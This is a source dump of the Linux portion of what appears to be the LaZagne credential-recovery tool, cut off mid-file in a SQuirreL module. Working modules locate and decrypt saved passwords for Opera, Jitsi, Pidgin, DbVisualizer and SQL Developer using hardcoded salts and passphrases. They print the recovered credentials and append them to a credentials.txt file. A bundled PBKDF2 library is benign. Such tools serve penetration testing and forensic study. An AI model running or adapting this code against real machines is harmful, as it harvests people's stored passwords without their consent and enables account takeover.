'database': {'help': 'SQL clients supported'}, 26 | 'mails': {'help': 'Email clients supported'}, 27 | 'wifi': {'help': 'Wifi'}, 28 | 'browsers': {'help': 'Web browsers supported'}, 29 | 'wallet': {'help': 'Windows credentials (credential manager, etc.)'} 30 | } 31 | return category 32 | 33 | def get_modules(): 34 | moduleNames = [ 35 | DbVisualizer(), 36 | Env_variable(), 37 | Filezilla(), 38 | Gnome(), 39 | Jitsi(), 40 | Mozilla(), 41 | Opera(), 42 | Pidgin(), 43 | SQLDeveloper(), 44 | Squirrel(), 45 | Wifi(), 46 | Wpa_supplicant(), 47 | kde() 48 | ] 49 | return moduleNames 50 | -------------------------------------------------------------------------------- /Linux/src/config/moduleInfo.py: -------------------------------------------------------------------------------- 1 | # name => Name of a class 2 | # category => windows / browsers / etc 3 | # options => dictionary 4 | # - command 5 | # - action 6 | # - dest 7 | # - help 8 | # ex: ('-s', action='store_true', dest='skype', help='skype') 9 | # options['command'] = '-s' 10 | # options['action'] = 'store_true' 11 | # options['dest'] = 'skype' 12 | # options['help'] = 'skype' 13 | 14 | class ModuleInfo(): 15 | def __init__(self, name, category, options, suboptions = []): 16 | self.name = name 17 | self.category = category 18 | self.options = options 19 | self.suboptions = suboptions 20 | 21 | def name(self): 22 | return self.name 23 | 24 | def category(self): 25 | return self.category 26 | 27 | def options(self): 28 | return self.options 29 | 30 | def suboptions(self): 31 | return self.suboptions 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /Linux/src/config/write_output.py: -------------------------------------------------------------------------------- 1 | import constant 2 | import os 3 | from time import gmtime, strftime 4 | import getpass 5 | import socket 6 | from config.header import Header 7 | from config.color import bcolors 8 | from config.constant import constant 9 | import logging 10 | 11 | # --------------------------- Functions used to write --------------------------- 12 | 13 | def write_header(): 14 | time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) 15 | header = '''|====================================================================| 16 | | | 17 | | Credentsials discovery | 18 | | | 19 | | ! BANG BANG ! | 20 | | | 21 | |====================================================================|\n 22 | - Date: ''' + time + ''' 23 | - Username: ''' + getpass.getuser() + ''' 24 | - Hostname: ''' + socket.gethostname() + ''' \n 25 | ------------------------------ Results ------------------------------\n''' 26 | 27 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(header) 28 | 29 | def write_footer(): 30 | footer = '\n[+] %s passwords have been found.\n\n' % str(constant.nbPasswordFound) 31 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(footer) 32 | 33 | def write_credentials(pwdFound, category): 34 | tmp = "############ %s passwords ############\r\n\r\n" % category 35 | for pwd in pwdFound: 36 | for p in pwd.keys(): 37 | tmp = str(tmp) + str(p) + ": " + str(pwd[p]) + "\r\n" 38 | tmp = str(tmp) + "\r\n" 39 | open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(tmp) 40 | 41 | def checks_write(values, category): 42 | if values: 43 | if constant.output == 'txt': 44 | try: 45 | write_credentials(values, category) 46 | logging.info('[+] Credentials stored successfully on the file: %s\\credentials.txt\n' % constant.folder_name) 47 | except: 48 | logging.info('Couldn\'t write the results file\n') 49 | 50 | # --------------------------- End of functions used to write --------------------------- 51 | 52 | # --------------------------- Output functions --------------------------- 53 | 54 | def print_footer(): 55 | footer = '\n[+] %s passwords have been found.\n' % str(constant.nbPasswordFound) 56 | if logging.getLogger().isEnabledFor(logging.INFO) == False: 57 | footer += 'For more information launch it again with the -v option\n' 58 | print footer 59 | 60 | # print output if passwords have been found 61 | def print_output(software_name, pwdFound): 62 | if pwdFound: 63 | # if the debug logging level is not apply => print the title 64 | if logging.getLogger().isEnabledFor(logging.INFO) == False: 65 | Header().title(software_name) 66 | 67 | toWrite = [] 68 | for pwd in pwdFound: 69 | lower_list = [s.lower() for s in pwd.keys()] 70 | password = [s for s in lower_list if "password" in s] 71 | key = [s for s in lower_list if "key" in s] # for the wifi 72 | 73 | # No password found 74 | if not password and not key: 75 | print_debug("FAILED", "Password not found !!!") 76 | else: 77 | print_debug("OK", "Password found !!!") 78 | toWrite.append(pwd) 79 | # Store all passwords found on a table => for dictionary attack if master password set 80 | constant.nbPasswordFound += 1 81 | try: 82 | if password: 83 | constant.passwordFound.append(pwd['Password'].strip()) 84 | elif key: 85 | constant.passwordFound.append(pwd['key']) 86 | except: 87 | pass 88 | 89 | for p in pwd.keys(): 90 | print '%s: %s' % (p, pwd[p]) 91 | print 92 | 93 | # write credentials into a text file 94 | checks_write(toWrite, software_name) 95 | else: 96 | logging.info("[!] No passwords found\n") 97 | 98 | 99 | def print_debug(error_level, message): 100 | 101 | b = bcolors() 102 | 103 | # print when password is found 104 | if error_level == 'OK': 105 | print b.OK + message + b.ENDC 106 | 107 | # print when password is not found 108 | elif error_level == 'FAILED': 109 | print b.FAIL + message + b.ENDC 110 | 111 | # print messages depending of their criticism 112 | elif error_level == 'CRITICAL': 113 | logging.error(b.FAIL + '[CRITICAL] ' + message + '\n' + b.ENDC) 114 | 115 | elif error_level == 'ERROR': 116 | logging.error(b.FAIL + '[ERROR] ' + message + '\n' + b.ENDC) 117 | 118 | elif error_level == 'WARNING': 119 | logging.warning(b.WARNING + message + '\n' + b.ENDC) 120 | 121 | elif error_level == 'DEBUG': 122 | logging.debug(message + '\n') 123 | 124 | elif error_level == 'INFO': 125 | logging.info(message + '\n') 126 | 127 | else: 128 | logging.info('[%s] %s' % (error_level, message)) 129 | 130 | # --------------------------- End of output functions --------------------------- -------------------------------------------------------------------------------- /Linux/src/softwares/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/src/softwares/__init__.py -------------------------------------------------------------------------------- /Linux/src/softwares/browsers/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/browsers/opera.py: -------------------------------------------------------------------------------- 1 | import sys, struct, hashlib, binascii, re, os 2 | from Crypto.Cipher import DES3 3 | from ConfigParser import RawConfigParser 4 | import sqlite3 5 | from config.header import Header 6 | from config.constant import * 7 | from config.write_output import print_debug, print_output 8 | from config.moduleInfo import ModuleInfo 9 | 10 | CIPHERED_FILE = '' 11 | 12 | class Opera(ModuleInfo): 13 | def __init__(self): 14 | options = {'command': '-o', 'action': 'store_true', 'dest': 'opera', 'help': 'opera'} 15 | ModuleInfo.__init__(self, 'opera', 'browsers', options) 16 | 17 | def run(self): 18 | # print the title 19 | Header().title_info('Opera') 20 | 21 | # retrieve opera folder 22 | path = self.get_path() 23 | 24 | if not path: 25 | print_debug('INFO', 'Opera not installed.') 26 | return 27 | 28 | passwords = '' 29 | # check the use of master password 30 | if not os.path.exists(path + os.sep + 'operaprefs.ini'): 31 | print_debug('INFO', 'The preference file operaprefs.ini has not been found.') 32 | else: 33 | if self.masterPasswordUsed(path) == '0': 34 | print_debug('INFO', 'No master password defined.') 35 | elif self.masterPasswordUsed(path) == '1': 36 | print_debug('WARNING', 'A master password is used.') 37 | else: 38 | print_debug('WARNING', 'An error occurs, the use of master password is not sure.') 39 | print 40 | 41 | passwords = self.decipher_old_version(path) 42 | 43 | if passwords: 44 | self.parse_results(passwords) 45 | else: 46 | print_debug('INFO', 'The wand.dat seems to be empty') 47 | 48 | 49 | def get_path(self): 50 | path = os.path.expanduser("~/.opera") 51 | if os.path.exists(path): 52 | return path 53 | else: 54 | return None 55 | 56 | def decipher_old_version(self, path): 57 | salt = '837DFC0F8EB3E86973AFFF' 58 | 59 | # retrieve wand.dat file 60 | if not os.path.exists(path + os.sep + 'wand.dat'): 61 | print_debug('WARNING', 'wand.dat file has not been found.') 62 | return 63 | 64 | # read wand.dat 65 | f = open(path + os.sep + 'wand.dat', 'rb') 66 | file = f.read() 67 | fileSize = len(file) 68 | 69 | passwords = [] 70 | 71 | offset = 0 72 | while offset < fileSize: 73 | 74 | offset = file.find('\x08', offset) + 1 75 | 76 | if offset == 0: 77 | break 78 | 79 | tmp_blockLength = offset - 8 80 | tmp_datalen = offset + 8 81 | 82 | blockLength = struct.unpack('!i', file[tmp_blockLength : tmp_blockLength + 4])[0] 83 | datalen = struct.unpack('!i', file[tmp_datalen : tmp_datalen + 4])[0] 84 | 85 | binary_salt = binascii.unhexlify(salt) 86 | desKey = file[offset: offset + 8] 87 | tmp = binary_salt + desKey 88 | 89 | md5hash1 = hashlib.md5(tmp).digest() 90 | md5hash2 = hashlib.md5(md5hash1 + tmp).digest() 91 | 92 | key = md5hash1 + md5hash2[0:8] 93 | iv = md5hash2[8:] 94 | 95 | data = file[offset + 8 + 4: offset + 8 + 4 + datalen] 96 | 97 | des3dec = DES3.new(key, DES3.MODE_CBC, iv) 98 | plaintext = des3dec.decrypt(data) 99 | 100 | plaintext = re.sub(r'[^\x20-\x7e]', '', plaintext) 101 | passwords.append(plaintext) 102 | 103 | offset += 8 + 4 + datalen 104 | return passwords 105 | 106 | 107 | def masterPasswordUsed(self, path): 108 | # the init file is not well defined so lines have to be removed before to parse it 109 | cp = RawConfigParser() 110 | f = open(path + os.sep + 'operaprefs.ini', 'rb') 111 | 112 | f.readline() # discard first line 113 | while 1: 114 | try: 115 | cp.readfp(f) 116 | break 117 | except: 118 | f.readline() # discard first line 119 | try: 120 | master_pass = cp.get('Security Prefs','Use Paranoid Mailpassword') 121 | return master_pass 122 | except: 123 | return False 124 | 125 | 126 | def parse_results(self, passwords): 127 | 128 | cpt = 0 129 | values = {} 130 | pwdFound = [] 131 | for password in passwords: 132 | # date (begin of the sensitive data) 133 | match=re.search(r'(\d+-\d+-\d+)', password) 134 | if match: 135 | values = {} 136 | cpt = 0 137 | tmp_cpt = 0 138 | 139 | # after finding 2 urls 140 | if cpt == 2: 141 | tmp_cpt += 1 142 | if tmp_cpt == 2: 143 | values['Username'] = password 144 | elif tmp_cpt == 4: 145 | values['Password'] = password 146 | pwdFound.append(values) 147 | 148 | # url 149 | match=re.search(r'^http', password) 150 | if match: 151 | cpt +=1 152 | if cpt == 1: 153 | tmp_url = password 154 | elif cpt == 2: 155 | values['URL'] = tmp_url 156 | 157 | # print the results 158 | print_output('Opera', pwdFound) 159 | 160 | 161 | -------------------------------------------------------------------------------- /Linux/src/softwares/chats/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/chats/jitsi.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | import hashlib, os, re 3 | import binascii, array 4 | from Crypto.Cipher import AES 5 | from config.header import Header 6 | from config.constant import * 7 | from config.write_output import print_debug, print_output 8 | from config.moduleInfo import ModuleInfo 9 | 10 | # From https://github.com/mitsuhiko/python-pbkdf2 11 | from pbkdf2 import pbkdf2_bin 12 | 13 | class Jitsi(ModuleInfo): 14 | def __init__(self): 15 | options = {'command': '-j', 'action': 'store_true', 'dest': 'jitsi', 'help': 'jitsi'} 16 | suboptions = [{'command': '-ma', 'action': 'store', 'dest': 'master_pwd', 'help': 'enter the master password manually', 'title': 'Advanced jitsi option'}] 17 | ModuleInfo.__init__(self, 'jitsi', 'chats', options, suboptions) 18 | 19 | self.keylen = 32 20 | self.iterations = 1024 21 | self.padding = '\f' 22 | self.account_id = '' 23 | self.master_password_used = False 24 | self.masterpass = ' ' 25 | 26 | def get_salt(self): 27 | salt_array = [12, 10, 15, 14, 11, 14, 14, 15] 28 | salt = array.array('b', salt_array) 29 | hexsalt = binascii.hexlify(salt) 30 | return binascii.unhexlify(hexsalt) 31 | 32 | def get_path(self): 33 | directory = '~/.jitsi' 34 | directory = os.path.expanduser(directory) + os.sep + 'sip-communicator.properties' 35 | 36 | if os.path.exists(directory): 37 | return directory 38 | else: 39 | return 'JITSI_NOT_EXISTS' 40 | 41 | 42 | def get_info(self, file_properties): 43 | values = {} 44 | 45 | f = open(file_properties,'r') 46 | line = f.readline() 47 | 48 | 49 | cpt = 0 50 | pwdFound = [] 51 | while line: 52 | if 'ACCOUNT_UID' in line: 53 | m = re.match(r"(.*)ACCOUNT_UID=(.*$)",line) 54 | if m: 55 | # password found 56 | if cpt > 0: 57 | pwdFound.append(values) 58 | cpt = 0 59 | 60 | values = {} 61 | values['Account id'] = m.group(2) 62 | cpt += 1 63 | 64 | if 'ENCRYPTED_PASSWORD' in line: 65 | m = re.match(r"(.*)ENCRYPTED_PASSWORD=(.*$)",line) 66 | if m: 67 | values['Password'] = self.decrypt_password(m.group(2)).replace('\x06', '') 68 | cpt += 1 69 | 70 | if 'credentialsstorage.MASTER' in line: 71 | m = re.match(r"(.*)credentialsstorage.MASTER=(.*$)",line) 72 | if m: 73 | values['Masterpass used'] = True 74 | self.master_password_used = True 75 | 76 | line = f.readline() 77 | 78 | if len(values) != 0: 79 | pwdFound.append(values) 80 | 81 | # print the results 82 | print_output('Jitsi', pwdFound) 83 | f.close() 84 | 85 | def decrypt_password(self, encrypted_pass): 86 | salt = self.get_salt() 87 | 88 | if self.master_password_used and constant.jitsi_masterpass: 89 | self.masterpass = constant.jitsi_masterpass 90 | elif self.master_password_used and not constant.jitsi_masterpass: 91 | return '[!] A master password is used, the password cannot be decrypted. Provide a masterpassword using the -ma option' 92 | 93 | # --- Decrypting the password --- 94 | # generate hash 95 | secret = pbkdf2_bin(bytes(self.masterpass), salt, self.iterations, self.keylen, hashfunc=hashlib.sha1) 96 | 97 | # decrypt password 98 | cipher = AES.new(secret) 99 | plaintext = cipher.decrypt(b64decode(encrypted_pass)).rstrip(self.padding) 100 | 101 | return plaintext 102 | 103 | # main function 104 | def run(self): 105 | # print the title 106 | Header().title_info('Jitsi') 107 | 108 | file_properties = self.get_path() 109 | if file_properties == 'JITSI_NOT_EXISTS': 110 | print_debug('INFO', 'Jitsi not installed.') 111 | 112 | else: 113 | self.get_info(file_properties) 114 | 115 | 116 | -------------------------------------------------------------------------------- /Linux/src/softwares/chats/pbkdf2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | pbkdf2 4 | ~~~~~~ 5 | 6 | This module implements pbkdf2 for Python. It also has some basic 7 | tests that ensure that it works. The implementation is straightforward 8 | and uses stdlib only stuff and can be easily be copy/pasted into 9 | your favourite application. 10 | 11 | Use this as replacement for bcrypt that does not need a c implementation 12 | of a modified blowfish crypto algo. 13 | 14 | Example usage: 15 | 16 | >>> pbkdf2_hex('what i want to hash', 'the random salt') 17 | 'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9' 18 | 19 | How to use this: 20 | 21 | 1. Use a constant time string compare function to compare the stored hash 22 | with the one you're generating:: 23 | 24 | def safe_str_cmp(a, b): 25 | if len(a) != len(b): 26 | return False 27 | rv = 0 28 | for x, y in izip(a, b): 29 | rv |= ord(x) ^ ord(y) 30 | return rv == 0 31 | 32 | 2. Use `os.urandom` to generate a proper salt of at least 8 byte. 33 | Use a unique salt per hashed password. 34 | 35 | 3. Store ``algorithm$salt:costfactor$hash`` in the database so that 36 | you can upgrade later easily to a different algorithm if you need 37 | one. For instance ``PBKDF2-256$thesalt:10000$deadbeef...``. 38 | 39 | 40 | :copyright: (c) Copyright 2011 by Armin Ronacher. 41 | :license: BSD, see LICENSE for more details. 42 | """ 43 | import hmac 44 | import hashlib 45 | from struct import Struct 46 | from operator import xor 47 | from itertools import izip, starmap 48 | 49 | 50 | _pack_int = Struct('>I').pack 51 | 52 | 53 | def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None): 54 | """Like :func:`pbkdf2_bin` but returns a hex encoded string.""" 55 | return pbkdf2_bin(data, salt, iterations, keylen, hashfunc).encode('hex') 56 | 57 | 58 | def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None): 59 | """Returns a binary digest for the PBKDF2 hash algorithm of `data` 60 | with the given `salt`. It iterates `iterations` time and produces a 61 | key of `keylen` bytes. By default SHA-1 is used as hash function, 62 | a different hashlib `hashfunc` can be provided. 63 | """ 64 | hashfunc = hashfunc or hashlib.sha1 65 | mac = hmac.new(data, None, hashfunc) 66 | def _pseudorandom(x, mac=mac): 67 | h = mac.copy() 68 | h.update(x) 69 | return map(ord, h.digest()) 70 | buf = [] 71 | for block in xrange(1, -(-keylen // mac.digest_size) + 1): 72 | rv = u = _pseudorandom(salt + _pack_int(block)) 73 | for i in xrange(iterations - 1): 74 | u = _pseudorandom(''.join(map(chr, u))) 75 | rv = starmap(xor, izip(rv, u)) 76 | buf.extend(rv) 77 | return ''.join(map(chr, buf))[:keylen] 78 | 79 | 80 | def test(): 81 | failed = [] 82 | def check(data, salt, iterations, keylen, expected): 83 | rv = pbkdf2_hex(data, salt, iterations, keylen) 84 | if rv != expected: 85 | print 'Test failed:' 86 | print ' Expected: %s' % expected 87 | print ' Got: %s' % rv 88 | print ' Parameters:' 89 | print ' data=%s' % data 90 | print ' salt=%s' % salt 91 | print ' iterations=%d' % iterations 92 | print 93 | failed.append(1) 94 | 95 | # From RFC 6070 96 | check('password', 'salt', 1, 20, 97 | '0c60c80f961f0e71f3a9b524af6012062fe037a6') 98 | check('password', 'salt', 2, 20, 99 | 'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957') 100 | check('password', 'salt', 4096, 20, 101 | '4b007901b765489abead49d926f721d065a429c1') 102 | check('passwordPASSWORDpassword', 'saltSALTsaltSALTsaltSALTsaltSALTsalt', 103 | 4096, 25, '3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038') 104 | check('pass\x00word', 'sa\x00lt', 4096, 16, 105 | '56fa6aa75548099dcc37d7f03425e0c3') 106 | # This one is from the RFC but it just takes for ages 107 | ##check('password', 'salt', 16777216, 20, 108 | ## 'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984') 109 | 110 | # From Crypt-PBKDF2 111 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 16, 112 | 'cdedb5281bb2f801565a1122b2563515') 113 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 32, 114 | 'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837') 115 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 16, 116 | '01dbee7f4a9e243e988b62c73cda935d') 117 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 32, 118 | '01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86') 119 | check('password', 'ATHENA.MIT.EDUraeburn', 1200, 32, 120 | '5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13') 121 | check('X' * 64, 'pass phrase equals block size', 1200, 32, 122 | '139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1') 123 | check('X' * 65, 'pass phrase exceeds block size', 1200, 32, 124 | '9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a') 125 | 126 | raise SystemExit(bool(failed)) 127 | 128 | 129 | if __name__ == '__main__': 130 | test() 131 | -------------------------------------------------------------------------------- /Linux/src/softwares/chats/pidgin.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import os 3 | from config.header import Header 4 | from config.constant import * 5 | from config.write_output import print_debug, print_output 6 | import dbus 7 | from config.moduleInfo import ModuleInfo 8 | 9 | class Pidgin(ModuleInfo): 10 | def __init__(self): 11 | options = {'command': '-p', 'action': 'store_true', 'dest': 'pidgin', 'help': 'pidgin'} 12 | ModuleInfo.__init__(self, 'pidgin', 'chats', options) 13 | 14 | # if pidgin is started, use the api to retrieve all passwords 15 | def check_if_pidgin_started(self): 16 | try: 17 | bus = dbus.SessionBus() 18 | purple = bus.get_object("im.pidgin.purple.PurpleService","/im/pidgin/purple/PurpleObject","im.pidgin.purple.PurpleInterface") 19 | acc = purple.PurpleAccountsGetAllActive() 20 | 21 | pwdFound = [] 22 | for x in range(len(acc)): 23 | values = {} 24 | _acc = purple.PurpleAccountsGetAllActive()[x] 25 | values['Login'] = purple.PurpleAccountGetUsername(_acc) 26 | values['Password'] = purple.PurpleAccountGetPassword(_acc) 27 | values['Protocol'] = purple.PurpleAccountGetProtocolName(_acc) 28 | pwdFound.append(values) 29 | 30 | # print the results 31 | return pwdFound 32 | except: 33 | # [!] Pidgin is not started :-( 34 | return False 35 | 36 | 37 | def run(self): 38 | # print the title 39 | Header().title_info('Pidgin') 40 | 41 | pwdFound = [] 42 | try: 43 | pwdTab = self.check_if_pidgin_started() 44 | if pwdTab != False: 45 | pwdFound = pwdTab 46 | except: 47 | pass 48 | 49 | directory = '~/.purple' 50 | directory = os.path.expanduser(directory) 51 | 52 | path = os.path.join(directory, 'accounts.xml') 53 | 54 | if os.path.exists(path): 55 | tree = ET.ElementTree(file=path) 56 | 57 | root = tree.getroot() 58 | accounts = root.getchildren() 59 | 60 | for a in accounts: 61 | values = {} 62 | aa = a.getchildren() 63 | for tag in aa: 64 | cpt = 0 65 | if tag.tag == 'name': 66 | cpt = 1 67 | values['Login'] = tag.text 68 | 69 | if tag.tag == 'password': 70 | values['Password'] = tag.text 71 | 72 | if len(values) != 0: 73 | pwdFound.append(values) 74 | 75 | # print the results 76 | print_output('Pidgin', pwdFound) 77 | else: 78 | print_debug('INFO', 'Pidgin not installed.') 79 | 80 | 81 | -------------------------------------------------------------------------------- /Linux/src/softwares/databases/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/databases/dbvis.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import MD5 2 | from Crypto.Cipher import DES 3 | import binascii, array, hashlib 4 | import base64, re, os 5 | import xml.etree.cElementTree as ET 6 | from config.header import Header 7 | from config.write_output import print_debug, print_output 8 | from config.moduleInfo import ModuleInfo 9 | 10 | class DbVisualizer(ModuleInfo): 11 | def __init__(self): 12 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dbvis', 'help': 'dbvisualizer'} 13 | ModuleInfo.__init__(self, 'dbvis', 'database', options) 14 | 15 | # ---- functions used to decrypt the password ---- 16 | def get_salt(self): 17 | salt_array = [-114,18,57,-100,7,114,111,90] 18 | salt = array.array('b', salt_array) 19 | hexsalt = binascii.hexlify(salt) 20 | return binascii.unhexlify(hexsalt) 21 | 22 | def get_iteration(self): 23 | return 10 24 | 25 | def get_derived_key(self, password, salt, count): 26 | key = bytearray(password) + salt 27 | 28 | for i in range(count): 29 | m = hashlib.md5(key) 30 | key = m.digest() 31 | return (key[:8], key[8:]) 32 | 33 | def decrypt(self, salt, msg, password): 34 | enc_text = base64.b64decode(msg) 35 | 36 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration()) 37 | crypter = DES.new(dk, DES.MODE_CBC, iv) 38 | text = crypter.decrypt(enc_text) 39 | 40 | return re.sub(r'[\x01-\x08]','',text) 41 | 42 | def get_passphrase(self): 43 | return 'qinda' 44 | 45 | # ---- end of the functions block ---- 46 | 47 | def get_infos(self, path, passphrase, salt): 48 | xml_file = path + os.sep + 'config70/dbvis.xml' 49 | 50 | if os.path.exists(xml_file): 51 | tree = ET.ElementTree(file=xml_file) 52 | 53 | pwdFound = [] 54 | values = {} 55 | for elem in tree.iter('Databases'): 56 | values = {} 57 | passwordFound = False 58 | 59 | for e in elem.iter(): 60 | if 'Alias' == e.tag: 61 | values['Connection Name'] = str(e.text) 62 | 63 | if 'Userid' == e.tag: 64 | values['Userid'] = str(e.text) 65 | 66 | if 'Password' == e.tag: 67 | ciphered_password = e.text 68 | try: 69 | password = self.decrypt(salt, ciphered_password, passphrase) 70 | values['Password'] = password 71 | passwordFound = True 72 | except Exception,e: 73 | print_debug('ERROR', '{0}'.format(e)) 74 | 75 | if 'UrlVariables' == e.tag: 76 | for el in e.getchildren(): 77 | values['Driver'] = str(el.text).strip() 78 | 79 | for ele in el.getchildren(): 80 | if 'Server' == ele.attrib['UrlVariableName']: 81 | values['Server'] = str(ele.text) 82 | 83 | if 'Port' == ele.attrib['UrlVariableName']: 84 | values['Port'] = str(ele.text) 85 | 86 | if 'SID' == ele.attrib['UrlVariableName']: 87 | values['SID'] = str(ele.text) 88 | 89 | if passwordFound: 90 | pwdFound.append(values) 91 | 92 | # print the results 93 | print_output('DbVisualizer', pwdFound) 94 | 95 | def get_mainPath(self): 96 | directory = '~/.dbvis' 97 | directory = os.path.expanduser(directory) 98 | 99 | if os.path.exists(directory): 100 | return directory 101 | else: 102 | return 'DBVIS_NOT_EXISTS' 103 | 104 | def run(self): 105 | # print the title 106 | Header().title_info('DbVisualizer') 107 | 108 | mainPath = self.get_mainPath() 109 | 110 | if mainPath == 'DBVIS_NOT_EXISTS': 111 | print_debug('INFO', 'DbVisualizer not installed.') 112 | 113 | else: 114 | passphrase = self.get_passphrase() 115 | 116 | salt = self.get_salt() 117 | self.get_infos(mainPath, passphrase, salt) 118 | -------------------------------------------------------------------------------- /Linux/src/softwares/databases/sqldeveloper.py: -------------------------------------------------------------------------------- 1 | import binascii, base64 2 | from Crypto.Cipher import DES 3 | import array 4 | import hashlib, re, os 5 | import xml.etree.cElementTree as ET 6 | from config.header import Header 7 | from config.constant import * 8 | from config.write_output import print_debug, print_output 9 | from config.moduleInfo import ModuleInfo 10 | 11 | class SQLDeveloper(ModuleInfo): 12 | def __init__(self): 13 | options = {'command': '-s', 'action': 'store_true', 'dest': 'sqldeveloper', 'help': 'sqldeveloper'} 14 | ModuleInfo.__init__(self, 'sqldeveloper', 'database', options) 15 | 16 | def get_salt(self): 17 | salt_array = [5, 19, -103, 66, -109, 114, -24, -83] 18 | salt = array.array('b', salt_array) 19 | hexsalt = binascii.hexlify(salt) 20 | return binascii.unhexlify(hexsalt) 21 | 22 | def get_iteration(self): 23 | return 42 24 | 25 | def get_derived_key(self, password, salt, count): 26 | key = bytearray(password) + salt 27 | for i in range(count): 28 | m = hashlib.md5(key) 29 | key = m.digest() 30 | return (key[:8], key[8:]) 31 | 32 | def decrypt(self, salt, msg, password): 33 | enc_text = base64.b64decode(msg) 34 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration()) 35 | crypter = DES.new(dk, DES.MODE_CBC, iv) 36 | text = crypter.decrypt(enc_text) 37 | return re.sub(r'[\x01-\x08]','',text) 38 | 39 | def get_mainPath(self): 40 | directory = '~/.sqldeveloper' 41 | directory = os.path.expanduser(directory) 42 | if os.path.exists(directory): 43 | for d in os.listdir(directory): 44 | if d.startswith('system'): 45 | directory += os.sep + d 46 | return directory 47 | return 'SQL_NO_PASSWD' 48 | else: 49 | return 'SQL_NOT_EXISTS' 50 | 51 | 52 | def get_passphrase(self, path): 53 | print path 54 | for p in os.listdir(path): 55 | if p.startswith('o.sqldeveloper.12'): 56 | path += os.sep + p 57 | break 58 | 59 | xml_file = path + os.sep + 'product-preferences.xml' 60 | if os.path.exists(xml_file): 61 | tree = ET.ElementTree(file=xml_file) 62 | for elem in tree.iter(): 63 | if 'n' in elem.attrib.keys(): 64 | if elem.attrib['n'] == 'db.system.id': 65 | return elem.attrib['v'] 66 | return 'Not_Found' 67 | else: 68 | return 'xml_Not_Found' 69 | 70 | def get_infos(self, path, passphrase, salt): 71 | for p in os.listdir(path): 72 | if p.startswith('o.jdeveloper.db.connection'): 73 | path += os.sep + p 74 | break 75 | 76 | xml_file = path + os.sep + 'connections.xml' 77 | 78 | if os.path.exists(xml_file): 79 | tree = ET.ElementTree(file=xml_file) 80 | pwdFound = [] 81 | values = {} 82 | for elem in tree.iter(): 83 | if 'addrType' in elem.attrib.keys(): 84 | if elem.attrib['addrType'] == 'sid': 85 | for e in elem.getchildren(): 86 | values['SID'] = e.text 87 | 88 | elif elem.attrib['addrType'] == 'port': 89 | for e in elem.getchildren(): 90 | values['Port'] = e.text 91 | 92 | elif elem.attrib['addrType'] == 'user': 93 | for e in elem.getchildren(): 94 | values['Username'] = e.text 95 | 96 | elif elem.attrib['addrType'] == 'ConnName': 97 | for e in elem.getchildren(): 98 | values['Connection Name'] = e.text 99 | 100 | elif elem.attrib['addrType'] == 'customUrl': 101 | for e in elem.getchildren(): 102 | values['Custom Url'] = e.text 103 | 104 | elif elem.attrib['addrType'] == 'SavePassword': 105 | for e in elem.getchildren(): 106 | values['SavePassword'] = e.text 107 | 108 | elif elem.attrib['addrType'] == 'hostname': 109 | for e in elem.getchildren(): 110 | values['Hostname'] = e.text 111 | 112 | elif elem.attrib['addrType'] == 'password': 113 | for e in elem.getchildren(): 114 | pwd = self.decrypt(salt, e.text, passphrase) 115 | values['Password'] = pwd 116 | 117 | elif elem.attrib['addrType'] == 'driver': 118 | for e in elem.getchildren(): 119 | values['Driver'] = e.text 120 | 121 | print_debug('OK', 'Password found !!!') 122 | for v in values.keys(): 123 | print v + ': ' + values[v] 124 | print 125 | 126 | pwdFound.append(values) 127 | 128 | values = {} 129 | 130 | # print the results 131 | print_output('SQL Developer', pwdFound) 132 | else: 133 | print_debug('WARNING', 'The xml file containing the passwords has not been found.') 134 | 135 | def run(self): 136 | 137 | # print the title 138 | Header().title_info('SQL Developer') 139 | 140 | mainPath = self.get_mainPath() 141 | 142 | if mainPath == 'SQL_NOT_EXISTS': 143 | print_debug('INFO', 'SQL Developer not installed.') 144 | elif mainPath == 'SQL_NO_PASSWD': 145 | print_debug('INFO', 'No passwords found.') 146 | else: 147 | passphrase = self.get_passphrase(mainPath) 148 | 149 | if passphrase == 'Not_Found': 150 | print_debug('WARNING', 'The passphrase used to encrypt has not been found.') 151 | 152 | elif passphrase == 'xml_Not_Found': 153 | print_debug('WARNING', 'The xml file containing the passphrase has not been found.') 154 | 155 | else: 156 | salt = self.get_salt() 157 | self.get_infos(mainPath, passphrase, salt) 158 | -------------------------------------------------------------------------------- /Linux/src/softwares/databases/squirrel.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | from config.header 